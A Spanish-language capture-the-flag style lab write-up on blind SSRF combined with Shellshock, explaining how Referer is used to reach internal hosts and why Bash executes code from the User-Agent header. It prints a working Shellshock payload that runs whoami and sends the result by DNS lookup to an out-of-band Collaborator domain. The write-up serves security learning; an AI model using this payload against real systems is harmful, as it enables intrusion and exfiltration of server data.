🥬Laboratorio: SSRF ciega con explotación Shellshock

• Vamos a hacerlo, tengo una idea, podemos desde la interface de producto, modificar referer para pasarle la http:IP/ con el parametro de posición dentro de burp intruder para hacer un payload breve de numeros para ver cual retorna una pagina 200 OK y tener presente así cual es el server interno.

Investigando me dí cuenta que se puede inyectar el payload de shell (bash) en el user-Agent de los encabezados de la aplicación.

Vamos a ver...

Payload:

() { :;}; /usr/bin/nslookup $(whoami).m4r634pvztqizsewe05rara5qwwqkh86.oastify.com

Y en referer lo que hicimos fue dejar la IP que necesitabamos testear para encontrar el rango del ultimo octeto de la dirección IP en este caso fue un simple payload en burp intruder y fue con el rango de numeros del 0 al 1000, automaticamente corrimos el ataque, nos llego una respuesta DNS a nuestro burp collaborator, la cual tenía el username.Domain Name

¿Por qué funciona la inyección en el User-Agent?

En servidores web que usan Bash para manejar solicitudes HTTP, algunas cabeceras (como User-Agent) pueden convertirse en variables de entorno para ser accesibles por scripts en el servidor. Con Shellshock, el atacante puede aprovechar el formato específico de la función Bash (){ :;}; para inyectar y ejecutar comandos. Aquí tienes un desglose de por qué funciona:

1. Vulnerabilidad en Bash: El patrón () { :;}; le indica a Bash que lo que sigue no es una función, sino un comando directo para ejecutar. Esto permite ejecutar cualquier comando después de la definición de la "función".

2. Transformación del User-Agent en variable de entorno: Al recibir una solicitud HTTP con el campo User-Agent en la cabecera, algunos servidores convierten este valor en una variable de entorno. Esto significa que el valor del User-Agent es ejecutado en Bash si no está filtrado o sanitizado, facilitando la inyección de código.

3. Comando específico en el payload: El comando nslookup $(whoami).m4r634pvztqizsewe05rara5qwwqkh86.oastify.com realiza una búsqueda de DNS a un subdominio controlado por el atacante, incorporando el nombre de usuario del servidor (whoami). Al recibir la solicitud DNS, el atacante sabe que su código fue ejecutado y puede identificar el servidor comprometido por el valor de whoami.

Ahora bien nos llega entonces la respuesta:

Vemos como llega el whoami.DominioResolved

Ahora, esto fue gracias a que dentro del payload corrimos el service /usr/bin/nslookup, que es el que nos ayuda a verificar la dirección de una url mediante DNS inverso, aqui la añadimos con el fin de que retornará nuestro whoami.Collaborator ->peter-x3CTpb.m4r63 etc..

Sabemos ahora que el username es peter-x3CTpb

Listo, lo hemos resuelto, pero antes que nada hagamos un pequeño resumen:

1. Pudimos interpretar el servidor vulnerable a Shellshock mediante el header User-Agent que podía interpretar el bash como una variable de entorno en el servidor que posteriormente podría ejecutar.

2. Ahora bien esto gracias a que el referer como se debe analizar la URL toma la dirección IP y en este caso le pasamos la IP del servidor interno el cual era todo nuestro ataque y en el es que se ejecuta el bash scripting vulnerable.

3. Luego de ello bastó con que en el comando pudiesemos añadir un burp collaborator link aplicando la tecnica OAST, que fue el que nos dió la definitiva para que nos llegara nuestro DNS Inverso mediante el Nslookup y tomaramos el username del SO.

Eso es todo gracías por llegar hasta aqui, la buena care mondá.